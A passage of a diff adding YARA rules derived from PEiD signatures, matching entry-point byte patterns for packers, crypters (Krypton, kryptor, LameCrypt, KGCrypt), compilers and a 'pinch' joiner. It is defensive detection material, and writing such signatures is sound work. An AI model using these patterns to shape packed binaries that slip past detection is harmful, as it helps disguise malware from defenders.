+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00940_JAM_v2_11_
+{
+    meta:
+        description = "[JAM v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00941_JAR_Archive_
+{
+    meta:
+        description = "[JAR Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1A 4A 61 72 1B}
+    condition:
+        $a
+}
+rule PEiD_00942_JDPack_2_x____JDPack_
+{
+    meta:
+        description = "[JDPack 2.x -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00943_JDPack_V2_00____JDPack_
+{
+    meta:
+        description = "[JDPack V2.00 -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00944_JDPack_
+{
+    meta:
+        description = "[JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00945_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00946_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00947_JExeCompressor_V1_0____UsAr_
+{
+    meta:
+        description = "[JExeCompressor V1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00948_Joiner__sign_from_pinch_25_03_2007_20_10__
+{
+    meta:
+        description = "[Joiner (sign from pinch 25.03.2007 20:10)]"
+        ep_only = "true"
+    strings:
+        $a = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00949_KBys_Packer_0_28_Beta____Shoooo_
+{
+    meta:
+        description = "[KBys Packer 0.28 Beta -> Shoooo]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+    condition:
+        $a
+}
+
+rule PEiD_00950_Kbys_Packer_0_28_Beta___shoooo314_
+{
+    meta:
+        description = "[Kbys Packer 0.28 Beta-> shoooo314]"
+        ep_only = "false"
+    strings:
+        $a = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00951_KByS_V0_28____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00952_KByS_V0_28_DLL____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 DLL -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00953_KGB_SFX_
+{
+    meta:
+        description = "[KGB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00954_KGCrypt_vx_x_
+{
+    meta:
+        description = "[KGCrypt vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00955_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00956_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 EB 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 DB 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 BD 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 B2 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 29 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 0D 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00957_kkrunchy_0_23_alpha____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00958_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00959_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00960_kkrunchy_v0_17____F__Giesen_
+{
+    meta:
+        description = "[kkrunchy v0.17 -> F. Giesen]"
+        ep_only = "false"
+    strings:
+        $a = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00961_kkrunchy_V0_2X____Ryd___Sign_by_fly_
+{
+    meta:
+        description = "[kkrunchy V0.2X -> Ryd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00962_Krypton_v0_2_
+{
+    meta:
+        description = "[Krypton v0.2]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00963_Krypton_v0_3_
+{
+    meta:
+        description = "[Krypton v0.3]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00964_Krypton_v0_4_
+{
+    meta:
+        description = "[Krypton v0.4]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00965_Krypton_v0_5_
+{
+    meta:
+        description = "[Krypton v0.5]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00966_kryptor_5_
+{
+    meta:
+        description = "[kryptor 5]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00967_kryptor_6_
+{
+    meta:
+        description = "[kryptor 6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00968_kryptor_9_
+{
+    meta:
+        description = "[kryptor 9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00969_LamCrypt_1_0____LaZaRuS_
+{
+    meta:
+        description = "[LamCrypt 1.0 -> LaZaRuS]"
+        ep_only = "false"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00970_LameCrypt____LaZaRus_
+{
+    meta:
+        description = "[LameCrypt -> LaZaRus]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00971_LameCrypt_v1_0_
+{
+    meta:
+        description = "[LameCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00972_LamerStop_v1_0c__c__Stefan_Esser_
+{
+    meta:
+        description = "[LamerStop v1.0c (c) Stefan Esser]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00973_Lattice_C_v1_01_
+{
+    meta:
+        description = "[Lattice C v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00974_Lattice_C_v3_0_
+{
+    meta:
+        description = "[Lattice C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00975_LaunchAnywhere_4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere 4.0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00976_LaunchAnywhere_v4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere v4.0.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00977_Launcher_Generator_1_03_
+{
+    meta:
+        description = "[Launcher Generator 1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00978_Launcher_Generator_v1_03_
+{
+    meta:
+        description = "[Launcher Generator v1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 74 51 C1 E0 02 A3 5C 20 40 00 BB 70 21 40 00 03 C3 8B 18 68 60 20 40 00 53 B8 F0 21 40 00 03 05 5C 20 40 00 8B D8 8B 03 05 70 20 40 00 50 B8 70 22 40 00 03 05 5C 20 40 00 FF 30 FF 35 00 20 40 00 E8 26 00 00 00 A1 58 20 40 00 40 A3 58 20 40 00 EB A2 6A FF E8 00 00 00 00 FF 25 5C 30 40 00 FF 25 60 30 40 00 FF 25 64 30 40 00 FF 25 68 30 40 00 FF 25 6C 30 40 00 FF 25 74 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00979_LCC_Win32_DLL_
+{
+    meta:
+        description = "[LCC Win32 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00980_LCC_Win32_v1_x_
+{
+    meta:
+        description = "[LCC Win32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00981_LCC_Win32_
+{
+    meta:
+        description = "[LCC-Win32]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00982_LGLZ_v1_04__com_
+{
+    meta:
+        description = "[LGLZ v1.04 [com]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 19 B4 09 BA 12 01 CD 21 B4 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00983_LGLZ_v1_04b_
+{
+    meta:
+        description = "[LGLZ v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E 06 0E 8C C8 ?? ?? ?? ?? BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 ?? ?? F3 A5 4B 48 4A 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00984_Libraries_by_John_Socha_
+{
+    meta:
+        description = "[Libraries by John Socha]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00985_LOCK98_V1_00_28____keenvim_
+{
+    meta:
+        description = "[LOCK98 V1.00.28 -> keenvim]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00986_Lockless_Intro_Pack_
+{
+    meta:
+        description = "[Lockless Intro Pack]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00987_Lotus_Word_Pro_document_file_
+{
+    meta:
+        description = "[Lotus Word Pro document file]"
+        ep_only = "false"
+    strings:
+        $a = {57 6F 72 64 50 72 6F ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C 57 50 37}
+    condition:
+        $a
+}
+
+rule PEiD_00988_LSI_C_86_Run_Time_Libray_
+{
+    meta:
+        description = "[LSI C-86 Run-Time Libray]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00989_LTC_v1_3_
+{
+    meta:
+        description = "[LTC v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00990_LY_WGKX____www_szleyu_com_
+{
+    meta:
+        description = "[LY_WGKX -> www.szleyu.com]"
+        ep_only = "false"
+    strings:
+        $a = {4D 79 46 75 6E 00 62 73}
+    condition:
+        $a
+}
+
+rule PEiD_00991_LZEXE_v0_91__v1_00a__1__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (1)]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 1F 8B ?? ?? ?? 8B F1 4E 89 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00992_LZEXE_v0_91__v1_00a__2__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 06 89 F9 0E 41 1F 8C CB 89 FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00993_Macromedia_Windows_Flash_Projector_Player_5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+    condition:
+        $a
+}
+
+rule PEiD_00994_Macromedia_Windows_Flash_Projector_Player_v3_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00995_Macromedia_Windows_Flash_Projector_Player_v4_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00996_Macromedia_Windows_Flash_Projector_Player_v5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00997_Macromedia_Windows_Flash_Projector_Player_v6_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v6.0]"
+        ep_only = "true"
+    strings:
